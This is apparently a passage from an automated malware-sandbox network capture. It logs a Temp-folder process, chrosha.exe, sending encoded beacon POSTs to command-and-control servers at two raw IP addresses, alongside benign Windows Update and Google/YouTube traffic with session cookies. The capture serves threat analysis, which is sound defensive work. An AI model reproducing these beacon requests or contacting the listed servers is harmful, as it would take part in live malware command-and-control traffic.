Apr 18, 2024 23:40:59.187122107 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:59.440500021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49935	193.233.132.167	80	3488	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:59.218364954 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:59.464840889 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 18, 2024 23:40:59.468727112 CEST	307	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 41 35 46 33 45 46 32 45 31 34 32 32 41 37 34 36 35 41 41 46 43 34 31 30 41 41 46 43 39 46 41 39 37 46 42 42 44 44 37 43 39 32 45 44 32 30 46 44 45 34 46 30 31 37 33 30 35 30 33 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA6135A5F3EF2E1422A7465AAFC410AAFC9FA97FBBDD7C92ED20FDE4F01730503
Apr 18, 2024 23:40:59.720223904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49938	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:59.792989016 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:41:00.033035994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:41:00.033731937 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:41:00.278029919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49941	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:41:00.089168072 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:41:00.333333969 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:41:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:39:12 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gdo9tp536UW6kVN&MD=MgdmHMVh HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-18 21:39:12 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: d1f30453-fb1f-4621-b370-b4b49aa8b8b7 MS-RequestId: 0867b0f1-b429-43b2-bdd2-73c462b8af88 MS-CV: R0nJBUurDkGRK79B.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 18 Apr 2024 21:39:11 GMT Connection: close Content-Length: 24490
2024-04-18 21:39:12 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-04-18 21:39:12 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:39:49 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Gdo9tp536UW6kVN&MD=MgdmHMVh HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-18 21:39:49 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: bb0cf8d9-f64b-4423-8299-d35d36bf0ef5 MS-RequestId: ebd959bb-511d-4d25-9442-93f7d1ca978f MS-CV: Mz5/lGz/PUamR4ie.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 18 Apr 2024 21:39:48 GMT Connection: close Content-Length: 25457
2024-04-18 21:39:49 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-18 21:39:49 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49747	108.177.122.91	443	2488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:13 UTC	810	OUT	GET /account HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-18 21:40:13 UTC	2428	IN	HTTP/1.1 303 See Other Content-Type: application/binary X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 21:40:13 GMT Location: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000 Origin-Trial: AmhMBR6zCLzDDxpW+HfpP67BqwIknWnyMOXOQGfzYswFmJe+fgaI6XZgAzcxOrzNtP7hEDsOo1jdjFnVr2IdxQ4AAAB4eyJvcmlnaW4iOiJodHRwczovL3lvdXR1YmUuY29tOjQ0MyIsImZlYXR1cmUiOiJXZWJWaWV3WFJlcXVlc3RlZFdpdGhEZXByZWNhdGlvbiIsImV4cGlyeSI6MTc1ODA2NzE5OSwiaXNTdWJkb21haW4iOnRydWV9 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="youtube_main" Report-To: {"group":"youtube_main","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube_main"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Vary: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* P3P: CP="This is not a P3P policy! See http://support.google.com/accounts/answer/151657?hl=en for more info." Server: ESF Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: GPS=1; Domain=.youtube.com; Expires=Thu, 18-Apr-2024 22:10:13 GMT; Path=/; Secure; HttpOnly Set-Cookie: YSC=Lwkr3AZE7EM; Domain=.youtube.com; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_INFO1_LIVE=g9_VWJYh6aY; Domain=.youtube.com; Expires=Tue, 15-Oct-2024 21:40:13 GMT; Path=/; Secure; HttpOnly; SameSite=none Set-Cookie: VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgYQ%3D%3D; Domain=.youtube.com; Expires=Tue, 15-Oct-2024 21:40:13 GMT; Path=/; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49783	142.250.105.138	443	2488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-18 21:40:20 UTC	1327	OUT	GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=-58101590&timestamp=1713476419682 HTTP/1.1 Host: accounts.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.132" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCI/KzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: YSC=Lwkr3AZE7EM; VISITOR_INFO1_LIVE=g9_VWJYh6aY; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgYQ%3D%3D
2024-04-18 21:40:20 UTC	1850	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: ALLOW-FROM https://accounts.google.com Content-Security-Policy: frame-ancestors https://accounts.google.com Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-3aid_YKfvzcBnkO6aRI3_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/AccountsDomainCookiesCheckConnectionHttp/cspreport/allowlist Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 18 Apr 2024 21:40:20 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Resource-Policy: cross-origin reporting-endpoints: default="/_/AccountsDomainCookiesCheckConnectionHttp/web-reports?context=eJzjUtDikmJw05BikPj6kkkLiJ3SZ7CGAHHyv_OspUAsxMNxZFnbRjaBC_cWr2YCAHbCEfg" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 37 36 61 30 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 33 61 69 64 5f 59 4b 66 76 7a 63 42 6e 6b 4f 36 61 52 49 33 5f 41 22 3e 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 3d 74 68 69 73 2e 64 65 66 61 75 6c 74 5f 41 63 63 6f 75 6e 74 73 44 6f 6d 61 69 6e 63 6f 6f 6b 69 65 73 43 68 65 63 6b 63 6f 6e 6e 65 63 74 69 6f 6e 4a 73 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 74 72 79 7b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 22 75 6e 64 65 Data Ascii: 76a0<html><head><script nonce="3aid_YKfvzcBnkO6aRI3_A">"use strict";this.default_AccountsDomaincookiesCheckconnectionJs=this.default_AccountsDomaincookiesCheckconnectionJs\|\|{};(function(_){var window=this;try{_._F_toggles_initialize=function(a){("unde
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 22 3d 3d 3d 61 29 7b 69 66 28 69 61 28 29 29 69 66 28 28 61 3d 2f 72 76 3a 20 2a 28 5b 5c 64 5c 2e 5d 2a 29 2f 2e 65 78 65 63 28 62 29 29 26 26 61 5b 31 5d 29 62 3d 61 5b 31 5d 3b 65 6c 73 65 7b 61 3d 22 22 3b 76 61 72 20 63 3d 2f 4d 53 49 45 20 2b 28 5b 5c 64 5c 2e 5d 2b 29 2f 2e 65 78 65 63 28 62 29 3b 69 66 28 63 26 26 63 5b 31 5d 29 69 66 28 62 3d 2f 54 72 69 64 65 6e 74 5c 2f 28 5c 64 2e 5c 64 29 2f 2e 65 78 65 63 28 62 29 2c 0a 22 37 2e 30 22 3d 3d 63 5b 31 5d 29 69 66 28 62 26 26 62 5b 31 5d 29 73 77 69 74 63 68 28 62 5b 31 5d 29 7b 63 61 73 65 20 22 34 2e 30 22 3a 61 3d 22 38 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 35 2e 30 22 3a 61 3d 22 39 2e 30 22 3b 62 72 65 61 6b 3b 63 61 73 65 20 22 36 2e 30 Data Ascii: ernet Explorer"===a){if(ia())if((a=/rv: ([\d\.])/.exec(b))&&a[1])b=a[1];else{a="";var c=/MSIE +([\d\.]+)/.exec(b);if(c&&c[1])if(b=/Trident\/(\d.\d)/.exec(b),"7.0"==c[1])if(b&&b[1])switch(b[1]){case "4.0":a="8.0";break;case "5.0":a="9.0";break;case "6.0
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 7d 2c 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 7c 7c 61 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 64 3d 41 28 61 29 3b 69 66 28 64 26 31 29 72 65 74 75 72 6e 21 30 3b 69 66 28 21 28 62 26 26 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 62 29 3f 62 2e 69 6e 63 6c 75 64 65 73 28 63 29 3a 62 2e 68 61 73 28 63 29 29 29 29 72 65 74 75 72 6e 21 31 3b 41 61 28 61 2c 64 7c 31 29 3b 72 65 74 75 72 6e 21 30 7d 2c 42 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 45 72 72 6f 72 28 22 69 6e 74 33 32 22 29 3b 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 72 6f 72 5f 5f 63 6f 6e 74 65 78 74 5f 5f 39 38 34 33 38 32 7c 7c 28 61 2e 5f 5f 63 6c 6f 73 75 72 65 5f 5f 65 72 Data Ascii: },B=function(a,b,c){if(!Array.isArray(a)\|\|a.length)return!1;var d=A(a);if(d&1)return!0;if(!(b&&(Array.isArray(b)?b.includes(c):b.has(c))))return!1;Aa(a,d\|1);return!0},Ba=function(){var a=Error("int32");a.__closure__error__context__984382\|\|(a.__closure__er
2024-04-18 21:40:20 UTC	1850	IN	Data Raw: 61 2c 62 2c 63 2c 64 2c 65 29 7b 69 66 28 6e 75 6c 6c 21 3d 0a 61 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 61 29 29 61 3d 42 28 61 2c 76 6f 69 64 20 30 2c 30 29 3f 76 6f 69 64 20 30 3a 65 26 26 41 28 61 29 26 32 3f 61 3a 49 61 28 61 2c 62 2c 63 2c 76 6f 69 64 20 30 21 3d 3d 64 2c 65 29 3b 65 6c 73 65 20 69 66 28 7a 61 28 61 29 29 7b 76 61 72 20 66 3d 7b 7d 2c 68 3b 66 6f 72 28 68 20 69 6e 20 61 29 66 5b 68 5d 3d 4a 61 28 61 5b 68 5d 2c 62 2c 63 2c 64 2c 65 29 3b 61 3d 66 7d 65 6c 73 65 20 61 3d 62 28 61 2c 64 29 3b 72 65 74 75 72 6e 20 61 7d 7d 2c 49 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 29 7b 76 61 72 20 66 3d 64 7c 7c 63 3f 41 28 61 29 3a 30 3b 64 3d 64 3f 21 21 28 66 26 33 32 29 3a 76 6f 69 64 20 30 3b 61 3d 41 72 Data Ascii: a,b,c,d,e){if(null!=a){if(Array.isArray(a))a=B(a,void 0,0)?void 0:e&&A(a)&2?a:Ia(a,b,c,void 0!==d,e);else if(za(a)){var f={},h;for(h in a)f[h]=Ja(a[h],b,c,d,e);a=f}else a=b(a,d);return a}},Ia=function(a,b,c,d,e){var f=d\|\|c?A(a):0;d=d?!!(f&32):void 0;a=Ar
